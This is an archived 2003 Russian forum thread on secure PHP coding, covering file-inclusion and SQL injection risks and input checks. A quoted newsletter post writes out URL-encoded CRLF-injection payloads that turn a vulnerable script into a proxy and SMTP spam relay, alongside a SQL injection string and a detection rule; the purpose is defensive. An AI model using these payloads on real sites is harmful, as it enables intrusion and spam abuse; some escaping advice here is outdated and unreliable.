Ru-Board.club
← Вернуться в раздел «Web-программирование»

» Безопасное программирование на PHP

Автор: Terabyte
Дата сообщения: 20.09.2003 13:32
Подскажите, как обезопасить свой код от взлома. Ну какие ошибки типа как в функции include еще не нужно допускать.
Автор: xntx
Дата сообщения: 20.09.2003 13:40
Terabyte
подправь название темы, а то не понимается...
Автор: Terabyte
Дата сообщения: 20.09.2003 13:46
Извиняюсь, пунто сглючил.
Автор: xntx
Дата сообщения: 20.09.2003 13:52
Terabyte

Цитата:
Ну какие ошибки типа как в функции include еще не нужно допускать.

что ты имеешь ввиду. хочешь сказать что функция include это ошибка? хы...

хорошо, еще для безопасности надо каждую переменную назначать нулю,
тоесть если в скрипте используем $some то сначала делаем $some = ''; или можно unset($some); чтоб если был врублен register_globals нельзя было через гет закинуть левую переменную
Автор: Terabyte
Дата сообщения: 20.09.2003 14:08

Цитата:
что ты имеешь ввиду. хочешь сказать что функция include это ошибка? хы...

Нет, напрмиер если имя файла передается в параметре к скрипту... Дальше объяснять весь процесс не буду, ты тепреь наврено понял меня.
Автор: Advanced_Guest
Дата сообщения: 20.09.2003 15:08
Terabyte
на примере с Include:
если в названии файла сначала есть точки или "/" или "\" - попытка хака.

потом обычно делаеться так:


Код: switch ($mode) {
case 'file1':
include "file1.php";
break;
case 'file2':
include "file2.php";
break;
case 'file3':
include "file3.php";
break;
default:
include "file1.php";
}
Автор: dmka
Дата сообщения: 25.09.2003 17:53
Еще распространенная ошибка писать внешние переменные прямо в SQL запрос:

"DELETE FROM MyTable WHERE id=$id"

вместо $id передается строка вроде "1 OR (1=1)"
Автор: Advanced_Guest
Дата сообщения: 25.09.2003 18:55
dmka


Цитата:
Еще распространенная ошибка писать внешние переменные прямо в SQL запрос:

"DELETE FROM MyTable WHERE id=$id"

вместо $id передается строка вроде "1 OR (1=1)"


аха, и лечиться такое:

$id=addslashes($id);

и потом например так:

"DELETE FROM MyTable WHERE id='$id' limit 1"

limit 1 говорит что надо удалить только 1 строку. (не всегда нужно, но обычно по id удаляют только 1 строку)
Автор: dmka
Дата сообщения: 26.09.2003 12:29
2 Advanced_Guest
Причем тут limit 1 ? Что кроме mysql других баз в природе не существует? Да и limit не гарантирует, что удалится та самая строка.

Просто нужно параметр $id проверить на допустимость - regexp-ом или intval($id) сделать. Строковые переменные соответственно проескейпить.
Автор: Advanced_Guest
Дата сообщения: 26.09.2003 15:31
dmka
про limit 1 я специально написал что это не обязательно, но иногда можно использовать для точности.

а про ескейпность- тоже

Цитата:
аха, и лечиться такое:

$id=addslashes($id);
Автор: Kristaliar
Дата сообщения: 29.09.2003 13:21

Приемы безопасного программирования веб-приложений на PHP
Автор: Terabyte
Дата сообщения: 29.09.2003 21:19
Кстати, вот очень интересные и познавательные статейки про дыры в ПХП:
http://www.xakep.ru/magazine/xa/041/062/1.htm
http://www.xakep.ru/magazine/xa/050/066/1.asp
Автор: Cheery
Дата сообщения: 29.09.2003 21:24
Terabyte

Цитата:
Кстати, вот очень интересные и познавательные статейки про дыры в ПХП:

Разве только для полных ламеров.. Меня больше всего интересует.. откуда они взяли,
Цитата:
Наверное, слышал, что знаменитый apache.org (веб-сайт команды разработчиков, чей веб-сервер один из самых распространенных в мире) в 2000 году подвергся хакерской атаке, и был произведен дефейс главной страницы сайта.

Если они используют только perl..
И то, что там написано, давно известно.. пережевано по много раз в manual.
Автор: Terabyte
Дата сообщения: 29.09.2003 21:27
Ну конечно, я и подразумевал когда выкладывал линк, что для тех ето вообще ничего не знает о безпасном кодинге =)
Автор: Svarga
Дата сообщения: 10.10.2003 01:20
В рассылке пришло... может кому-то и полезно будет :

Цитата:
** Открытие файлов и внешние данные. Потенциальная уязвимость php-скриптов.

В 2002 году параллельно несколькими группами, занимающимися поиском уязвимостей в ПО, была обнаружена серьёзная и мощная уязвимость в php.
В русскоязычном интернете эта уязвимость практически не была освещена. На русскоязычных сайтах по проблемам безопасности мне не удалось найти непосредственного сообщения об этой уязвимости.
Предупреждаю ничего нового в этом материале не будет. Несмотря на впечатляющие возможности для злоумышленника, данная уязвимость — просто комбинация общеизвестных свойств php.

Уязвимость

Url fopen wrapper: Для увеличения функциональности и упрощения кодирования, разработчики php сделали такую особенность в функциях fopen, file, include и прочих
Если имя файла начинается с "http://", сервер выполнит HTTP-запрос, скачает страницу, и запишет в переменную как из обычного файла. Аналогично работают префиксы "ftp://", "php://" (последний предназначен для чтения и записи в stdin, stdout и stderr).
Нужно это было для того, чтобы разработчики сайтов не мучались с библиотеками http-запросов и не писали их вручную

Данная опция отключается в настройках php, параметр allow_url_fopen.

CR/LF в HTTP-запросах: Комбинация символов carriage return и line feed в HTTP-запросе разделяет заголовки. Подробно об этом можно почитать в статье Антона Калмыкова «Генерация HTTP-запросов» [ http://detail.phpclub.net/2001-03-26.htm ].

Эту комбинацию символов можно передать в GET-запросе в виде "%0D%0A".

Untrusted input: На многих сайтах страницы генерируются скриптом-шаблонизатором. В скрипт перенаправляются все запросы сайта. Из REQUEST_URI берётся имя файла, который надо открыть. Файл считывается, к нему добавляется шаблон с навигацией, шапкой и т.п., и результат выдаётся клиенту.

Нерадивый или неопытный программист запросто может написать открытие файла без проверки данных:

<?
echo implode("", file(substr($REQUEST_URI, 1)));

От запроса отбрасывается первый символ — слэш — и открывается файл. Злоумышленник легко может вписать в качестве пути к файлу на сервере строку http://example.com:

http://n00b.programmer.com/http://example.com

Другой вариант — все адреса на сайте имеют вид

http://n00b.programmer.com/index.php?f=news

В таком случае злоумышленник будет пробовать открыть адрес типа

http://n00b.programmer.com/index.php?f=http://example.com

Очень важно не доверять входящим данным и фильтровать при помощи
регулярных выражений входящие запросы.

Эксплойт: Поскольку в приведённом примере адрес никак не проверяется, в запрос можно вставить строку с HTTP-запросом.
Если злоумышленник откроет путь

index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Host:+example.com%0D%0AUser-agent:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A

то скрипт выполнит HTTP-запрос:

GET example.com/ HTTP/1.0\r\n
Host: example.com\r\n
User-agent: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Host: www.site1.st\r\n
User-Agent: PHP/4.1.2\r\n
\r\n

Последние три строки скрипт добавляет автоматически, но два \r\n перед ними означают конец запроса.

Таким образом, незащищённый скрипт можно использовать как прокси-сервер. Зная несколько "дырявых" сайтов, злоумышленник может выстроить из них цепочку, чтобы его было сложнее найти.

Умное использование эксплойта: Если у провайдера, предоставляющего бесплатный демо-доступ, дырявый сайт, можно написать скрипт для домашнего сервера, который бы формировал запросы к такому прокси-серверу и экономил немного денег.

Это дело, безусловно, подсудное и наказуемое, но по большому счёту баловство.

Более прибыльное использование чужой машины как прокси — рассылка коммерческого спама. Пример из статьи, написанной Ульфом Харнхаммаром
[http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0109.html]:

index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(должно быть одной строкой)

модуль PHP соединится с сервером mail.example.com по 25 порту и отправит следующий запрос:

GET / HTTP/1.0\r\n
HELO my.own.machine\r\n
MAIL FROM:\r\n
RCPT TO:\r\n
DATA\r\n
i will never say the word PROCRASTINATE again\r\n
.\r\n
QUIT\r\n\r\n

HTTP/1.0\r\n
Host: mail.site1.st:25\r\n
User-Agent: PHP/4.1.2\r\n\r\n

PHP и почтовый сервер будут ругаться, но письмо будет отправлено.

Имея такую уязвимость в чьем-то сайте, можно искать закрытый почтовый релей, принимающий от эксплуатируемого веб-сервера почту. Этот релей не будет в чёрных списках провайдеров, и рассылка спама может получиться очень эффективной.
На своём сайте я нашёл множество запросов с 25-м портом в пути. Причём до начала этого года таких запросов не было. Раньше о такой уязвимости знали единицы любопытных пользователей, и лишь в прошлом году дыра стала общеизвестной и поставлена на поток спаммерами.
Меры защиты от эксплойта: Вам, как разработчику или владельцу сайта, важно сделать всё возможное, чтобы через ваш сайт никто не смог разослать спам. Если это получится, разослан он будет с какого-нибудь гавайского диалапа, владельцы которого не понимают человеческого языка, а крайним могут сделать именно вас.
Проверка журнала запросов: Для начала полезно ознакомиться со списком уникальных адресов, запрашиваемых с сайта. Это поможет узнать, были ли случаи атак и использования дырки.
Обычно спамеры сразу проверяют возможность соединения с нужным им почтовым релеем по 25 порту. Поэтому искать следует строки ":25" и "%3A25".
Настройка php: Самый простой способ отключить возможую уязвимость — запретить открывать URL через файловые функции.
Если вы администратор своего сервера — запрещайте allow_url_fopen в настройках php. Если вы просто клиент — запретите у себя локально. В файле .htaccess для корня сайта напишите строку:

php_value allow_url_fopen 0

Если вы злой хостинг-провайдер, можете запретить URL fopen wrapper для всех клиентов при помощи директивы php_admin_value. Включение безопасного режима (safe mode) в данном случае не поможет, функция продолжает работать исправно.

Изменение кода: Возможна такая сложная ситуация: вы клиент, а нерадивый админ хостинг-провайдера вписал все установки php в php_admin_value, и поменять их нельзя.

Придётся модифицировать код скриптов. Самый простой способ — искать функции fopen, file и include, открывающие файлы из имён переменных. И вырезать функцией str_replace префиксы http:// и ftp://.
Впрочем, иногда скрипту, всё-таки, необходимо открывать адреса, которые приходят от пользователя. Например, скрипт-порнолизатор, который вставляет в текст матерки или заменяет текст на ломаный русский язык ("трасса для настайащих аццоф, фсем ффтыкать"). Наверное, больше всего от неряшливого программирования пострадали именно эти сайты.
В данном случае вполне можно ограничиться вырезанием "\r\n" из полученной строки. В таком случае злоумышленник не сможет добавить свой собственный заголовок к запросу, который отправляете вы.
Прекращение работы при оффенсивном запросе: Клиент, сканирующий ваш сайт на предмет непроверяемых переменных, создаёт лишний трафик и загружает процессор сервера. Понятно, что ему не нужны страницы, которые генерирует ваш сайт, если они не работают как прокси.
Желательно убивать такие запросы ещё до запуска php-интерпретатора. Это можно сделать при помощи модуля mod_rewrite. В файле .htaccess в корне сайта я поставил такую строку:

RewriteRule ((%3A|:)25|%0D%0A) - [G]

При этом предполагается, что на сайте не будут отправляться методом GET формы с многострочным пользовательским вводом. Иначе они будут остановлены этим правилом.

Если вы при помощи mod_rewrite поддерживаете адресацию, удобную для чтения, то скорее всего, двоеточие и CRLF не используются. Поэтому другие строки RewriteRule не будут подходить под сканирующий запрос, и строку, прекращающую обработку запроса, лучше поместить в конце списка правил. Тогда обычные запросы будут переписываться и перенаправляться до этой строки (используйте флаг [L]), что уменьшит время их обаботки.
В зависимости от разных условий оно может варьироваться.

=============================================
Источник: Club of the developers PHP
© 2002-2003 Copyright by GreatWeb Design
Копирование материалов рассылки возможно только в случае явного указания
на сайт "GreatWeb.RU" как на источник информации.
Автор: IntenT
Дата сообщения: 10.10.2003 19:26
Svarga
ну, блин.. прям америку открыли.... ты смотри какие дыры в пхп..
Интересно, и долго эту уязвимость искали эти
Цитата:
несколько групп, занимающихся поиском уязвимостей в ПО

Автор: Svarga
Дата сообщения: 10.10.2003 22:08
IntenT
да кто говорит, что Америку
я ж и постил с припиской-- "может кому-то полезно будет "
Автор: Terabyte
Дата сообщения: 11.10.2003 09:09
Народ прекратите флейм разводить в теме по типу - "да это фигня, это все знают...". В тебе приветствуется любая информация.
Автор: Terabyte
Дата сообщения: 13.10.2003 07:35
Я что то не очень понял, что делает функция addslashes. Не могли бы на пальцах объяснить =)
Автор: woffer
Дата сообщения: 13.10.2003 08:16
Terabyte
cлэши добавляет:

Код: <?
$badStr = "aaa'\"aaa";

print $badStr ;
print "\n";
print addslashes($badStr);
?>
Автор: Terabyte
Дата сообщения: 13.10.2003 15:08
Ну я так понимаю, эта функция addslashes нужно чтобы избавиться от бага связанного с доступом к базам, а к устранению инклуд-бага она не имеет отношения?
Автор: Advanced_Guest
Дата сообщения: 13.10.2003 15:35
Terabyte
Я бы не назвал это багами, а просто возможные уязвимости.

Addslashes так же может исправить это:


$date=" те'ст ";
echo "1: <input type=text value='$date'><br>";
$date=addslashes($date);
echo "2: <input type=text value='$date'>";

вывеет:
[q]
1 : [поле с текстом те]
2 : [поле с текстом те'ст]

про базы данных тоже самое...

а насчёт инклуда - надо просто проверять что передаёться.
например:


Function ValidDir($dir){
return !ereg('[^a-zA-Z0-9_/]',$dir); // Только английские буквы и цифры и знаки: _ /
}


проверки передаваемой папки, разрешает только английские буквы и цифры и знаки: _ /

(Знак / нужен был для своих целей... если создаёшь папку, то его лучше исключить из ращрешённых)


и так далее...

а ещё лучше перед инклудам проверять например так:


Код: switch $_GET['act']{
case '1':
include '1.php';
break
case '2':
include '2.php';
break
deffult:
include "def.php";
break
}
Автор: Terabyte
Дата сообщения: 18.10.2003 14:03
А вот еще пара вопросов:

1) Из прочитанной мной литературы по инклуд-багу я понял, что если есть такой код напрмиер:


Код:
include("$file");
$file="test.php";
Автор: xntx
Дата сообщения: 18.10.2003 14:27
Terabyte

Цитата:
А есть такая фукция которая обунляет значение переменной.

unset($file, $somevar, $another, $olala, $ruboard, $cheburashka);
Автор: Advanced_Guest
Дата сообщения: 18.10.2003 14:29
Terabyte
насчёт include "$file"


вопрос откуда берётсься $file.

Если мы 100% уверенны что там только нами разрешённые значения, то всё в порядке.

Но если есть хоть какая то вероятность что хакер поставит туда свои данные - есть уязвимость.


Например тот же свитч.


Код: switch ($file){
case "file.php":
include $file;
break;
default:
include "error.php";
}
Автор: xntx
Дата сообщения: 18.10.2003 14:41
Advanced_Guest

Цитата:
$mode=isset($_GET['mode']) ? addslashes($_GET['mode']) : '';

если $_GET['mode'] не указанно, то она будет равна "" , то есть пусто.

если указанно, то все \ замениться на \\ (addslashes)

а помоему лучше сделать:

Цитата:
$mode=isset($_GET['mode']) ? addslashes($_GET['mode']) : NULL;

http://www.php.net/manual/ru/language.types.null.php
а то так как ты написал, потом где не спросишь isset($mode), он тебе всегда будет кричать TRUE, даже если изначально его небыло
Автор: Advanced_Guest
Дата сообщения: 18.10.2003 16:47
xntx
Можно и так, просто дальше в скрипте не идёт проверка про isset, только про ""

(меньше байтов писать )
Автор: Terabyte
Дата сообщения: 25.10.2003 11:35
Какая понял код в начале файла:
$mode=isset($_GET['mode']) ? addslashes($_GET['mode']) : NULL;
спасает от инклуд бага для переменных не определенных в $case=$_GET['case']; на серверах с ХПХ, который не требует опредления перменной в таком массиве для передачи из браузера?


А еще мне так и не ответили на вопрос выше:

Цитата:
На многих серверах у меня перестали передаваться данные через параметры скрипта, без создания такого массива $case=$_GET['case']; Причем на накоторых все и без него пашет. Я так понимаю это было сделано толкьо в более новых версиях ПХП для устранения инклуд-бага? Или я что то не так понимаю...?

Автор: xntx
Дата сообщения: 25.10.2003 11:43

Цитата:
Я так понимаю это было сделано толкьо в более новых версиях ПХП для устранения инклуд-бага?
да, но это не инклуд баг. это фича.
Автор: Terabyte
Дата сообщения: 25.10.2003 12:00
Не понял, что за фича?
А с какой версии это было сделано?

Страницы: 1234567

Предыдущая тема: WAP+PHP и русские буквы


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.